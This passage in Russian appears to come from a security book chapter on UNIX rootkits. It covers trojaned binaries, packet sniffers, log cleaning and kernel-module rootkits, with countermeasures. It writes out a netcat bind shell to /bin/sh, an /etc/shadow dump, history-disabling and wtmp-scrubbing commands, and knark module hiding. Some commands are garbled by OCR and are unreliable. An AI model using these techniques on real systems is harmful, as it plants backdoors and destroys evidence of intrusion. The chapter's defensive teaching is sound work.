После того как взломщик получит права суперпользователя, он может "троянизировать" практически любую команду операционной системы. Именно поэтому так важно проверять размер, а также дату и время создания и модификации всех двоичных файлов, особенно тех, которые используются чаще всего,— login, su, telnet, ftp, passwd, netstat, ifconfig, Is, ps, ssh, find, du, df, sync, reboot, halt, shutdown и т.д.
Например, часто используемым "троянским конем", входящим во многие комплекты отмычек, является "препарированная" версия программы login. Эта программа не только осуществляет регистрацию пользователей в системе, как и обычная команда login, но еще и записывает имена пользователей и пароли в отдельный файл. Существует также "препарированная" версия ssh, которая также выполняет подобные операции.
Другие программы типа "троянский конь" создают потайные ходы в систему, запуская программы, ожидающие поступления определенных данных через порт TCP и, в случае поступления таких данных, предоставляющие скрытый доступ к командной оболочке UNIX. Например, команда Is может проверять наличие ранее запущенных "троянских коней" и, если таковых не обнаруживается, запускать специальным образом подготовленную программу netcat, которая, в свою очередь, запустит оболочку /bin/sh, как только злоумышленник подключится к определенному порту. Например, в следующем примере показано, как программа netcat, запушенная в фоновом режиме, настраивается на прослушивание порта TCP с номером 222, а после подключения устанавливает ответный сеанс с помощью /bin/sh.

[tsunami]! nohup nc -1 -p 222 -nw -e /bin/sh &
listening on [any] 222 ...

Когда злоумышленник подключится к порту TCP 222, он увидит следующую информацию.

[rumble]# nc -nw 24.8.128.204 222
(UNKNOWN) [192.168.1.100] 222 (?) open

Это означает, что у него имеются все права суперпользователя и он может выполнить любую операцию, для которой нужно обладать привилегиями root, как например, показанную ниже.

cat /etc/shadow
root:ar90alrR10r41:10783:0:99999:7:-l:-l:134530596
bin:*:10639:0:99999:7:::
daemon:*:10639:0:99999:7:::
adm:*:10639:0:99999:7:::

Количество потенциальных методов внедрения "троянских коней" зависит лишь от воображения злоумышленника (которое, как правило, является весьма богатым и изощренным). Некоторые из возможных методов более подробно описаны в главе 14.
Постоянный мониторинг и тщательная инвентаризация всех открытых портов может воспрепятствовать попыткам нарушений безопасности такого рода, однако лучшим методом является предупреждение возможности модификации двоичных файлов.

Контрмеры: защита от "троянских коней"

Обнаружить программы типа "троянский конь" без соответствующих средств подчас довольно трудно. Возлагать надежды на стандартные методы, основанные на размере и дате, не приходится, поскольку опытный взломщик может создать файл, который будет иметь такой же размер, как и исходный, а также те же время и дату. Более эффективным является, например, метод, основанный на использовании программы, определяющей криптографическую контрольную сумму, с помощью которой для каждого исполняемого файла создается уникальная цифровая подпись. Эти подписи должны храниться в защищенном, недоступном для посторонних месте, например на дискете, находящейся в сейфе в специальном помещении. Программы, подобные Tripwire (http://www.tripwire.com) и MDSsum, являются одними из самых популярных в этой категории. Они позволяют записывать уникальные подписи всех программ и однозначно обнаруживать случаи модификации исполняемых файлов злоумышленниками. Очень часто администраторы пренебрегают подсчетом контрольных сумм до тех пор, пока не выявят попыток вторжения. Очевидно, что такое решение нельзя считать идеальным. К счастью, в состав некоторых систем входят пакеты, в которых изначально встроены строгие атгоритмы хэширования. Например, во многих версиях Linux используется формат RPM (RedHat Package Manager). В спецификации RPM определен также алгоритм подсчета контрольных сумм с использованием протокола MD5. Как же все эти средства помогают противостоять опасности вторжения? С помошью проверенной копии утилиты rpm можно сгенерировать запрос к пакету, который не подвергся взлому, и получить информацию о том, были ли изменены связанные с ним двоичные файлы.

[@shadow]# rpm -Vvp ftp://ftp.redhat.com/pub/redhat/\
redhat-6.2/i386/RedHat/RPMS/fileutils-4.0-21.i386.rpm
S.5....T /bin/Is

В приведенном примере /bin/Is предстаапяет собой часть пакета утилит для работы с файлами системы RedHat 6.2. Как видно из полученных данных, файл /bin/Is был изменен (5). Это означает, что контрольная сумма двоичного файла и пакета MD5 отличается. А это является верным признаком присутствия злоумышленника.
Для систем Solaris полную базу данных контрольных сумм MD5 можно получить по адресу http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl. Эта база данных поддерживается компанией Sun. Если вы являетесь администратором системы Solaris, то она окажется чрезвычайно полезной.
Конечно, если ваша система оказалась взломанной, не пытайтесь восстановить ее с резервных копий: они наверняка также окажутся инфицированными. Для того чтобы корректно восстановить систему, ее необходимо полностью перестроить, воспользовавшись исходными носителями информации.

Анализаторы сетевых пакетов

Если злоумышленник проник в вашу систему в качестве суперпользователя — это плохо, но, возможно, еще хуже, если кто-то установил на каком-либо сетевом узле утилиту перехвата сетевых пакетов. Такие программы, называемые также анализаторами сетевых пакетов (sniffer; это название стало нарицательным от названия получившей всеобщее признание программы сетевого мониторинга, разработанной компанией Network General, которая в настоящее время является подразделением Network Associates, Inc.), можно без преувеличения назвать самыми опасными инструментами в руках злоумышленника. Это объясняется тем, что анализаторы позволяют взломщику наносить удары практически по любому компьютеру, который отправляет данные на взломанный узел, а также проникать на другие узлы сегмента локальной сети и делать с ними практически все, что заблагорассудится.

Что такое анализатор сетевых пакетов

Анализаторы изначально были разработаны как средство решения сетевых проблем. Они могут перехватывать, интерпретировать и сохранять для последующего анализа передаваемые по сети пакеты. Это дает возможность сетевым инженерам наблюдать за тем, как данные передаются по линиям связи, и устранять возникающие проблемы либо моделировать те или иные ситуации, наблюдая за прохождением пакетов на самом низком уровне. Ниже приведен пример перехвата пакетов — запись команд регистрации пользователя guest с паролем guest в сети. 

-----[SYN] (slot 1)
рс6 => targets [23]
%&& #'$ANSI"!guest
guest Is
cd / Is
cd /etc
cat /etc/passwd
more hosts.equiv
more /root/.bash_history

Как и многие другие мощные средства, изначально предназначавшиеся для администрирования, с течением времени анализаторы стали применяться совсем для других целей. Можно только представить, сколько важных данных проходит за день по загруженной сети! Среди таких данных — пользовательские имена и пароли, конфиденциальные сообщения электронной почты, файлы, содержащие личную информацию, деловые отчеты и т.д. Так или иначе, если информация такого рода передается по сети, она преобразуется в биты и байты, которые с помощью анализатора могут видеть взломщики, подключившиеся в любой точке маршрута прохождения данных от отправителя до получателя.
Хотя мы подскажем, как можно защитить сетевые данные от посторонних глаз, мы надеемся, что вы поняли, почему анализаторы сетевых пакетов считаются одним из самых опасных средств, которые только могут оказаться в руках злоумышленников. Ничто не может быть безопасным в сети, в которой установлен анализатор, поскольку данные, передаваемые по линии передачи данных, по существу, всегда оказываются открытыми. Нашим любимым анализатором сетевых пакетов является dsniff (http://www.monkey.org/~dugsong/), который можно найти по адресу http://packetstorm.securify.com/sniffers/. Там же вы найдете и много других популярных программ-анализаторов.

Как работают анализаторы

Самый простой метод ознакомления с принципами работы анализаторов состоит в изучении тех анализаторов, которые ориентированы на сеть Ethernet. Конечно, анализаторы существуют практически для всех типов сетей, но, поскольку архитектура Ethernet является самой распространенной, давайте сосредоточимся именно на ней. Те же самые принципы, как правило, применимы и к сетям с другой архитектурой.
Анализатор Ethernet — это программа, которая работает на уровне сетевого адаптера (NIC — Network Interface Card) и скрытно перехватывает весь поток проходящих через него данных, в том числе и те, которые не предназначены для узла, на котором этот сетевой адаптер установлен. Правда, обычно сетевой адаптер Ethernet отбрасывает все данные, не предназначенные именно ему, а также отправленные по адресу широковещательной рассылки, поэтому его нужно перевести в специальное состояние, называемое промискуитетным режимом (promiscuous mode), позволяющее получать все пакеты, проходящие по сети.
Как только аппаратные средства будут переключены в промискуитетный режим, программа-анализатор может перехватывать и анализировать любые данные, передаваемые по локальному сегменту Ethernet. Это слегка ограничивает возможности анализатора, поскольку он не может просматривать поток данных, передаваемый за пределы локального домена (другими словами, за пределы маршрутизаторов, коммутаторов и других устройств сегментации). В связи с этим очевидно, что анализатор, установленный на магистральной линии связи, обеспечивающей взаимодействие отдельных подсетей, или в другой точке соединения подсетей, сможет перехватить гораздо больше информации, чем тот, который помещен в выделенный сегмент Ethernet.
Теперь, получив общие сведения о принципах функционирования анализатора, давайте рассмотрим некоторые популярные анализаторы, а также познакомимся со способами их обнаружения.

Популярные анализаторы

В табл. 8.2 приведен не претендующий на полноту перечень инструментальных средств, с которыми нам приходилось сталкиваться и работать чаще всего на протяжении всех тех лет, которые мы посвятили деятельности по оценке уровня безопасности сетей.

Таблица 8.2. Популярныебесплатные анализаторы сетевых пакетов для UNIX

Контрмеры: защита от анализаторов

Существует три основных подхода к защите от анализаторов, которые могут быть внедрены в вашу сеть или уже внедрены в нее.
Переход на сеть с коммутируемой топологией
Сети Ethernet с совместно используемыми линиями связи чрезвычайно уязвимы для анализаторов, поскольку все данные передаются по сети от узла к узлу в виде широковещательных сообщений, попадая таким образом не только на тот компьютер, которому они предназначены, но и на остальные компьютеры сегмента. Сети Ethernet с коммутируемой топологией позволяют поместить каждый узел в отдельный домен разрешения конфликтов, поэтому на сетевой адаптер того или иного узла такой сети поступают только те данные, которые предназначены этому узлу (ну и, конечно, данные, рассылаемые широковещательно). Кроме безопасности, коммутируемые сети позволяют увеличить и производительность. Учитывая, что стоимость сетевого оборудования для коммутируемых сетей не намного превышает стоимость оборудования для сетей с общей шиной, выбор последней не может быть оправдан никакими соображениями. Если бухгалтерский отдел вашей компании все же имеет иную точку зрения на эту проблему, покажите им список их паролей, перехваченных с помощью одной из приведенных выше программ. Мы уверены, что это подействует.
Несмотря на то что сеть с коммутируемой топологией позволяет предотвратить атаки неопытных взломщиков, другие злоумышленники могут без проблем прослушивать локальную сеть. Программа типа arpredirect из пакета dsniff (http://www.monkey.org/~dugsong/dsniff/) может свести на нет все старания обеспечить безопасность с реализацией коммутируемой сетевой топологии. Более подробно программа arpredirect рассматривается в главе 10.

Обнаружение анализаторов

Существует два основных подхода к обнаружению анализаторов — на уровне узла и на уровне сети. На уровне узла самый простой метод заключается в определении того, работает ли сетевой адаптер системы в промискуитетном режиме. В системе UNIX для ответа на этот вопрос можно воспользоваться несколькими программами, включая программу Check Promiscuous Mode (cpm), разработанную специалистами университета Carnegie Mellon University (эту программу можно найти по адресу ftp://info.cert.org/pub/tools/).
Кроме того, анализаторы отображаются в списке активных процессов и со временем, как правило, приводят к созданию файлов журналов огромного объема. Поэтому довольно простой сценарий UNIX, в котором используются команды ps, Isof и grep, может обнаружить деятельность, напоминающую работу анализатора. Однако, учитывая то, что опытные взломщики обычно стараются как можно тщательнее замаскировать процесс анализа сетевых пакетов, а также скрыть журналы в специально созданном скрытом каталоге, данный подход нельзя назвать очень эффективным.
Методы обнаружения анализаторов на уровне сети очень долго существовали только теоретически. Лишь относительно недавно они были реализованы в виде программного обеспечения. К таким средствам относится программа AntiSnifT, разработанная группой исследования безопасности L0pht (http://www.10pht.com/). К сожалению, ее первая версия работает только под управлением системы Windows, однако технические комментарии достаточно подробны для того, чтобы создать центральный пункт, из которого можно выполнять сканирование всей сети и осуществлять в ней поиск находящихся в промискуитетном режиме сетевых адаптеров. Кроме программы AntiSnifT, в системе UNIX можно запустить программу sentinel (http://www.packetfactory. -net/Projects/Sentinel/), которая предоставляет дополнительные возможности поиска анализаторов на уровне сети.

Шифрование (SSH, IPSec)

Давно известным методом борьбы с прослушиванием сетей является шифрование. Только шифрование на уровне получателя и отправителя может обеспечить уровень практически полной конфиденциальности. Необходимая длина ключа должна определяться на основании того, как долго данные остаются важными. Короткие ключи (длиной до 40 бит) допустимо использовать для шифрования потоков данных только в тех случаях, когда данные быстро устаревают. Кроме того, применение коротких ключей позволяет повысить производительность.
В тех случаях, когда в системе UNIX необходимо обеспечить безопасное удаленное подключение к сети, используется протокол Secure Shell (SSH). Бесплатные версии соответствующего программного обеспечения для некоммерческого использования можно найти по адресу http://www.ssh.org/download.html, а коммерческую версию, названную F-Secure Tunnel & Terminal, которая распространяется компанией Data Fellows, — по адресу http: //www.datafellows .com/.
В настоящее время в качестве нового стандарта предлагается протокол IPSec (IP Security Protocol), который позволяет обеспечить аутентификацию и шифрование потока данных на уровне протокола IP. Десятки компаний-разработчиков уже реализовали поддержку IPSec в своих продуктах, так что обратитесь к своему поставщику сетевого оборудования и получите у него все необходимые сведения по этому вопросу. Пользователи Linux могут обратиться по адресу http://www.freeswan.org/intro.html, где содержатся данные о проекте FreeSWAN, и получить всю информацию о свободно распространяемой реализации протоколов IPSec и IKE, которая была разработана в рамках модели открытого кода.

Очистка системных журналов

Не желая предоставлять вам (а тем более — правоохранительным органам) каких-либо сведений о факте получения доступа к системе, взломщик, как правило, постарается очистить системные журналы от следов своего присутствия. В настоящее время существует много утилит очистки журналов, которые в большинстве случаев входят в набор отмычек. К таким программам, в частности, относятся zap, wzap, wted и remove. Однако обычно вполне достаточно даже простого текстового редактора, такого как vi или emacs.
Конечно, при удалении следов своей деятельности первый шаг злоумышленника заключается в изменении системных журналов регистрации. Для определения соответствующей методики достаточно взглянуть на конфигурационный файл /etc/syslog.conf. Например, из показанного ниже файла syslog.conf видно, что большинство системных журналов регистрации находится в каталоге /var/log/.

[quake]# cat /etc/syslog.conf
# Регистрация всех консольных сообщений уровня ядра.
# В процессе регистрации экран сильно
засоряется избыточной информацией.
#kern.* /dev/console
# Регистрация всех сообщений
(кроме почтовых) уровня info или выще.
# Не пытайтесь регистрировать
сообщения личной аутентификации!
#.info;mail.none;authpriv.none /var/log/messages
# Доступ к файлу authpriv ограничен.
authpriv.* /var/log/secure
# Регистрация всех почтовых сообщений в одном файле.
mail.* /var/log/maillog
# Everebody получает сообщения об опасности, плюс их регистрация
# на другой машине.
# . erne r g *
# Сохранение сообщений об ошибках почты и новостей уровня err и выше
# в специальном файле.
uucp,news.crit /var/log/spooler

Обладая этой информацией, злоумышленнику достаточно просмотреть содержимое каталога /var/log, чтобы найти в нем основные файлы журналов. Выведя на экран содержимое каталога, мы найдем в нем файлы журналов всех типов, включая сгоп, maillog, messages, spooler, secure (журналы TCP-оболочек), wtmp и xf erlog.
Взломщику понадобится изменить много файлов, в том числе messages, secure, wtmp и xf erlog. Поскольку журнал wtmp имеет двоичный формат (и обычно используется только командой who), для его изменения взломщик, как правило, прибегнет к помощи одной из отмычек. Программа wzap предназначена специально для удаления из этого журнала информации о заданном пользователе. Для того чтобы воспользоваться этой программой, достаточно ввести, например, следующую команду.

[quake]# who./wtmp
joel ftpd!7264 Jul 1 12:09 (172.16.11.204)
root ttyl Jul 4 22:21
root ttyl Jul 9 19:45
root ttyl Jul 9 19:57
root ttyl Jul 9 21:48
root ttyl Jul 9 21:53
root ttyl Jul 9 22:45
root ttyl Jul 10 12:24
joel ttyl Jul 11 09:22
stuman ttyl Jul 11 09:42
root ttyl Jul 11 09:42
root ttyl Jul 11 09:51
root ttyl Jul 11 15:43
joel ftpd841 Jul 11 22:51 (172.16.11.205)
root ttyl Jul 14 10:05
joel ftpd3137 Jul 15 08:27 (172.16.11.205)
joel ftpd82 Jul 15 17:37 (172.16.11.205)
joel ftpd945 Jul 17 19:14 (172.16.11.205)
root ttyl Jul 24 22:14
[quake]# /opt/wzap
Enter username to zap from the wtmp: joel
opening file...
opening output file...
working...
[quake]# who ./wtmp.out
root ttyl Jul 4 22:21
root ttyl Jul 9 19:45
root ttyl Jul 9 19:57
root ttyl Jul 9 21:48
root ttyl Jul 9 21:53
root ttyl Jul 9 22:45
root ttyl Jul 10 12:24
stuman ttyl Jul 11 09:42
root ttyl Jul 11 09:42
root ttyl Jul 11 09:51
root ttyl Jul 11 15:43
root ttyl Jul 14 10:05
root ttyl Jul 24 22:14
root ttyl Jul 24 22:14

Как видно из приведенного листинга, в новом журнале (файл wtmp.out) пользователь joel отсутствует. Теперь осталось скопировать файл wtmp.out поверх файла wtmp, и взломщик сможет скрыть факт своего присутствия в системе. Некоторые программы, такие как zap (для SunOS 4.x), на самом деле меняют лишь время последней регистрации в системе (эту информацию можно увидеть, например, обратившись с запросом finger и указав в качестве параметра имя интересующего вас пользователя). Теперь осталось вручную (точнее с помощью редактора, такого как vi или emacs) модифицировать файлы журналов secure, messages и xferlog, чтобы удалить последние следы своего пребывания в системе.
Одним из последних этапов очистки журналов является удаление данных об использованных командах. Многие командные оболочки UNIX ведут журналы введенных ранее команд (history), что обеспечивает дополнительные удобства при повторном вводе команд. Например, оболочка BASH (Bourne again shell) (/bin/bash) сохраняет соответствующий файл в рабочем каталоге пользователя (во многих случаях и в каталоге пользователя root). Этот файл журнала, содержащий список недавно введенных команд, называется .bash_history. Обычно перед тем, как покинуть систему, злоумышленник очищает этот журнал. Например, в файле .bash_history может содержаться следующая информация.

tail -f /var/log/messages
vi chat-ppp0
kill -.9 1521
logout < здесь находятся записи о регистрации злоумышленника и начале его
работы >
id pwd
cat /etc/shadow » /tmp/.badstuff/sh.log
cat /etc/hosts » /tmp/.badstuff/ho.log
cat /etc/groups » /tmp/.badstuff/gr.log
netstat -na » /tmp/.badstuff/ns.log
arp -a » /tmp/.badstuff/a.log
/sbin/ifconfig » /tmp/.badstuff/if.log
find / -name -type f -perm -4000 »
/tmp/.badstuff/suid.log
find / -name -type f -perm -2000 »
/tmp/.badstuff/sgid.log

Вооружившись простым текстовым редактором, взломщик может удалить все эти записи. Затем, воспользовавшись командой touch, он наверняка восстановит дату и время последнего доступа к файлу. Однако обычно взломщики отключают режим регистрации вводимых команд с использованием соответствующего режима командной оболочки.

unset HISTFILE; unset SAVEHIST

Кроме того, взломщик может создать ссылку .bash_history на файл /dev/null.

[rumble]# In -s /dev/null ~/.bash_history
[rumble]# Is -1 .bash_history
Irwxrwxrwx 1 root root 9 Jul 26 22:59 .bash_history ->
/dev/null

Контрмеры: защита от очистки журналов

Файлы журналов очень важно сохранять на таком носителе, на котором их трудно было бы модифицировать. К таким носителям, в частности, относятся файловые системы, поддерживающие расширенные атрибуты, такие как флаг "только для добавления" (append-only). Таким образом, в каждый файл журнала будет только дописываться новая информация, и злоумышленники не смогут ее изменить. Однако это вовсе не панацея, поскольку существует вероятность того, что при наличии времени, желания и соответст-вуюшего опыта злоумышленник сможет обойти этот механизм. Второй метод заключается в регистрации важных событий на защищенном узле. Одним из примеров реализации такого подхода является применение безопасной утилиты syslog компании Core Labs (http://www.core-sdi.com/english/freesoft.html). В этой утилите алгоритмы шифрования используются наряду с возможностью удаленной регистрации событий, что позволяет защитить самые важные журналы. Помните, что если злоумышленнику удалось проникнуть в вашу систему, то к имеющимся журналам нужно относиться с осторожностью, поскольку ему ничего не стоит их подделать.

"Наборы отмычек" для модификации ядра

В предыдущих разделах были рассмотрены традиционные "наборы отмычек", с помощью которых можно модифицировать определенные файлы взломанной системы, а затем разместить в ней программы типа "троянский конь". В настоящее время такие средства несколько устарели. Современные и гораздо более разрушительные варианты "наборов отмычек" могут функционировать на уровне самого ядра операционной системы. Такие "наборы отмычек" позволяют модифицировать выполняющееся ядро UNIX и, таким образом, вводить в заблуждение все системные программы без модификации самих программ.
Обычно загружаемый модуль ядра (Loadable Kernel Module — LKM) служит для обеспечения дополнительной функциональности выполняющегося ядра без встраивания этих функций непосредственно в само ядро. Подобная возможность позволяет загружать и выгружать из оперативной памяти различные модули по необходимости, что, в свою очередь уменьшает размер выполняющейся части ядра. Таким образом, компактное ядро небольшого размера находится в оперативной памяти постоянно, а его возможности расширяются модулями, которые загружаются при необходимости. Это преимущество поддерживается многими версиями системы UNIX, в том числе Linux, FreeBSD и Solaris.
Описанным механизмом может воспользоваться злоумышленник, в результате чего он сможет полностью манипулировать системой и всеми запущенными в ней процессами. Вместо того чтобы использовать модуль LKM для загрузки драйверов устройств, например сетевого адаптера, этот модуль может применяться для перехвата системных вызовов и их модификации с целью изменения реакции системы на определенные команды. Двумя наиболее популярными "наборами отмычек" является knark (для Linux) и SLKM (Solaris Loadable Kernel Module) компании ТHС (http://www.infowar.co.uk/thc/files/thc/ slkm-1.0. tar.gz). Мы подробно рассмотрим пакет knark (http: //packetstorm. securify.com/UNIX/penetration/rootkits/knark-0.59.tar.gz) ниже, а дополнительную информацию о "потайных ходах" ядра системы Solaris можно найти по адресу http://www.infowar.co.uk/the/files/the/slkm-1.0.html/.
Пакет knark разработан хакером Кридом (Creed) и представляет собой "набор отмычек" для модификации ядра системы Linux 2.2.x. Самым важным компонентом этого пакета является модуль ядра knark. о. Для того чтобы загрузить этот модуль, нужно воспользоваться утилитой загрузки модуля ядра insmod.

[shadow]# /sbin/insmod knark.о

После этого на экране появится информация о загрузке модуля.

[shadow]# /sbin/lsmod
Module Size Used by
knark 6936 0 (unused)
nls_iso8859-l 2240 1 (autoclean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)

Как видно из приведенного фрагмента, модуль ядра knark был успешно загружен. Кроме того, очевидно, что системному администратору не составит труда обнаружить этот модуль. Поэтому абсолютно закономерно, что взломщик захочет оставить свою деятельность незамеченной. Для того чтобы удалить данные о модуле knark из результатов, предоставляемых утилитой Ismod, злоумышленники могут воспользоваться модулем modhide.o (еще одним компонентом пакета knark)

[shadow]#/sbin/insmod modhide.o
modhide.o: init_module: Device or resource busy
[shadow]# /sbin/lsmod
Module Size Used by
nls_iso8859-I 2240 1 (autociean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)

Теперь, после повторного запуска утилиты Ismod, модуль knark таинственным образом "исчезнет" из поля зрения администратора.
К другим интересным утилитам, входящим в состав пакета knark, относятся следующие.

•  hidef. Используется для сокрытия файлов.
•  unhidef. Служит для отображения скрытых файлов.
•  ered. Применяется для настройки команды ехес, используемой для перенаправления ввода-вывода. Благодаря этому вместо исходных версий утилит могут выполняться программы типа "троянский конь".
•  nethide. С помощью этой утилиты можно скрыть записи в файлах /proc/net./tcp и /proc/net/udp. Именно из этих файлов получает информацию утилита netstat. Указанные данные злоумышленник может использовать для сокрытия входящих/исходящих соединений взломанной системы.
•  taskhack. Эта утилита позволяет изменить идентификаторы UID и GID запущенных процессов. Таким образом, взломщик в любой момент может изменить владельца процесса /bin/sh (выполняющегося с привилегиями обычного пользователя) и сделать его владельцем пользователя root (с UID 0).
•  rехес. Эта утилита применяется для удаленного выполнения команд на сервере, на котором установлен пакет knark. Она обеспечивает возможность использования ложного исходного адреса, что позволяет выполнять команды без выявления их источника.
•  rootme. Эта утилита позволяет получить доступ с привилегиями root без использования профамм SUID. Из приведенного ниже фрагмента видно, насколько просто это осуществить.

[shadow]$ rootme /bin/sh
rootme.с by Creed @ #hack.se 1999 creed@sekure.net
Do you feel lucky today, haxOr?
bash#

Группа программистов и специалистов по вопросам безопасности Teso разработала еще один вариант ятра под названием Adore, который можно найти по адресу http://teso.scene, at/releases/adore-0 .14. tar. gz. По возможностям эта программа не уступает пакету knark. Ниже представлены некоторые параметры командной строки.

[shadow]$ ava
Использование: ./ava {h,u,r,i,v,0}
[имя-файла, PID или dummy (для
параметра 'U')]
h скрыть файл
u отобразить файл
r выполнить с привилегиями root
U удалить adore
i сделать PID скрытым
v сделать PID видимым

Если приведенных выше сведений оказалось недостаточно, то прочитайте статью Сильвио Чезаре (Silvio Cesare), в которой рассматриваются аналогичные средства, позволяющие "на лету" модифицировать выполняющееся в оперативной памяти ядро в системах с "потайным ходом", в которых отсутствует поддержка модулей LK.M. Эту статью и описываемые в ней средства можно найти по адресу http://www.big.-net.au/~silvio/runtime-kernel-kmem-patching.txt. И наконец, Джоб Де Хаас (Job De Haas) выполнил огромную работу по исследованию методов взлома ядра системы Solaris. Часть написанного им кода можно найти по адресу http://www. itsx.com/kernmod-0.2.tar.gz.

Контрмеры: защита от средств модификации ядра

Как следует из приведенных сведений, "наборы отмычек" для модификации ядра могут оказаться чрезвычайно разрушительными и трудными для выявления. При этом в процессе обнаружения таких средств нельзя доверять ни одной программе и даже самому ядру. В случае взлома ядра окажутся бесполезными и утилиты подсчета контрольных сумм, такие как Tripwire. Одним из возможных способов обнаружения пакета knark заключается в использовании самого пакета. Поскольку с его помощью взломщик может скрыть любой процесс, воспользовавшись командой kill -31 и указав его идентификатор PID, ничто не мешает сделать любой процесс снова видимым. Для этого можно воспользоваться командой kill -32. Вот простой сценарий оболочки, который передает этот сигнал каждому процессу.

# ! /bin/sh rm pid S=l
while [ $S -It 10000 j do
if kill -32 $S; then echo "$S" » pid
fi S=expr $3+1'
Done

He забывайте о том, что kill -31 и kill -32 являются настраиваемыми командами пакета knark. Так что опытный взломщик может изменить эти параметры, чтобы избежать обнаружения своей деятельности. Однако вместе с тем вполне возможно, что другие злоумышленники воспользуются параметрами, заданными по умолчанию.
В качестве самой лучшей контрмеры мы всегда рекомендуем предупреждение подобных нападений. Использование такой программы, как LIDS (Linux Intrusion Detection System — система выявления вторжений Linux), является наилучшей превентивной мерой в системе Linux. Ее можно получить по адресу www.lids.org. Программа LIDS предоставляет следующие возможности.

•  Предотвращение модификации ядра.
•  Предотвращение загрузки и выгрузки модулей ядра из оперативной памяти.
•  Возможность использования расширенных атрибутов файлов immutable (постоянный) и append-only ("только для добавления").
•  Блокирование совместно используемых сегментов памяти.
•  Защита от манипулирования идентификаторами процессов (PID).
•  Защита важных файлов в каталоге /dev/.
•  Обнаружение попыток сканирования портов.

Программа LIDS представляет собой модуль обновления ядра. Ее необходимо применять к существующему исходному коду ядра, который затем должен быть перестроен. После установки LIDS воспользуйтесь командой lidsadm, чтобы защитить ядро от возможных манипуляций с загружаемыми модулями. Вот что произойдет после установки программы LIDS, если попытаться запустить утилиту knark.

[shadow]# insmod knark.о
Command terminated on signal 1.

После анализа файла журнала /var/log/messages становится очевидным, что программа LIDS позволяет не только выявить попытку загрузки модуля, но и практически их предотвращает.

Jul 9 13:32:02 shadow kernel: LIDS:
insmod (3 1 inode 58956) pid 700
user (0/0)
on ptsO: CAP_SYSjyiODULE violation:
try to create module knark

При использовании систем, отличных от Linux, нужно рассмотреть возможность отключения поддержки модулей LKM, что позволит обеспечить более высокий уровень безопасности. Конечно, подобный подход является не очень элегантным, однако он все же позволит предотвратить попытки применения описанных выше средств.

Восстановление системы после использования "набора отмычек"

Поскольку мы не можем предоставить исчерпывающее описание процедур выявления описанных вторжений, очень важно хотя бы упомянуть о различных мерах, к которым нужно прибегнуть в том случае, если прозвучит зловещий звонок. У вас может возникнуть вопрос: о каком звонке идет речь? Это может произойти примерно следующим образом. "Здравствуйте, я такой-то системный администратор. У меня имеются причины считать, что с ваших компьютеров предпринимаются попытки нападения на нашу сеть." "Этого не может быть, все выглядит абсолютно нормально", — отвечаете вы. Ваш собеседник говорит, что все проверит еще раз, а затем перезвонит еще раз. Так что у вас возникает специфическое ощущение, что позвонить мог лишь администратор, которым и была предпринята попытка взлома. Вам требуется определить, как и что произошло. Оставьте в стороне свое спокойствие и считайте, что любое выполняемое вами в системе действие может повлиять на возможность выявления вторжения. Даже при простом просмотре файла можно изменить время последнего доступа к нему. Для того чтобы не усугубить ситуацию случайными действиями, хорошо сразу же создать набор средств со статически скомпонованными двоичными файлами, а затем сравнить их с аналогичными файлами от поставщика программного обеспечения. Использовать статически скомпонованные двоичные файлы абсолютно необходимо, поскольку злоумышленники могли модифицировать совместно используемые файлы библиотек. Все эти действия должны быть выполнены до возникновения самого инцидента. Набор стандартных статически скомпонованных программ нужно поместить на гибкий диск или компакт-диск. В такой набор как минимум должны входить следующие утилиты.

ls su dd
ps login du
netstat grep lsof
w df top
finger sh file

Имея под рукой такой набор, очень важно сохранить три значения времени, связанных с каждым файлом системы UNIX. К таким значениям относится последнее время доступа, время последней модификации и время создания. Указанную информацию проще всего получить с использованием следующих команд, а затем сохранить полученные данные на гибком диске или другом внешнем носителе.

Is -alRu > /floppy/timestamp_access.txt
Is -alRc > /floppy/timestamp_modification.txt
Is -alR > /floppy/timestamp_creation.txt

Полученные результаты лучше всего просматривать автономно, без обращения к "подозрительной" системе. В большинстве случаев вы столкнетесь с "набором отмычек", который, возможно, был установлен с параметрами, заданными по умолчанию. В зависимости от установленного "набора отмычек" вы можете увидеть множество входящих в их состав утилит, сообщений о программах-анализаторах, содержащихся в файлах журналов, и т.д. Это позволит предположить, что вы имеет дело с "набором отмычек", не использующимся для модификации ядра. Все доказательства таких изменений основываются на получении надежных результатов при выполнении приведенных выше команд. При выполнении исследований в системе Linux воспользуйтесь безопасным загрузочным носителем, например с комплектом Trinux (http://www.trinux.org). Это позволит получить достаточно много информации, чтобы попытаться определить, была ли ваша система инфицирована "набором отмычек". Имея под рукой все собранные данные, обратитесь к следующим ресурсам, чтобы точно определить, что же все-таки изменилось в системе и каким образом был выполнен взлом. Очень важно собрать данные о том, какие именно команды запускались и какие при этом результаты были получены.
Кроме того, очень важно иметь под рукой и хороший план комплексных исследований еще до того момента, как произошло вторжение. He становитесь одним из многих администраторов, которые после обнаружения подобных прецедентов сразу же обращаются к властным структурам. Между этими двумя событиями имеется еще много промежуточных шагов.

Резюме

Как мы увидели из нашего исследования, UNIX — это сложная система, для адекватной защиты которой необходимо предпринимать целый ряд комплексных мероприятий. Мощь и элегантность UNIX обеспечивают ее популярность, однако они же являются и причиной ее уязвимости. Мириады методов удаленного и локального взлома позволяют злоумышленникам нарушать подсистему безопасности даже самых защищенных систем UNIX. Чуть ли не ежедневно обнаруживаются новые методы взлома путем переполнения буфера. Программисты мало задумываются о безопасности, а средства обнаружения несанкционированных действий устаревают практически в течение нескольких недель. Между хакерами и администраторами идет не прекращающаяся ни на минуту битва, в которой одни попытаются приблизить, а вторые — отдалить "день зеро". В табл. 8.3 приведен перечень дополнительных ресурсов, которые могут помочь вам обрести душевный покой (во всяком случае, на некоторое время).

Таблица 8.3. Дополнительные ресурсы безопасности системы UNIX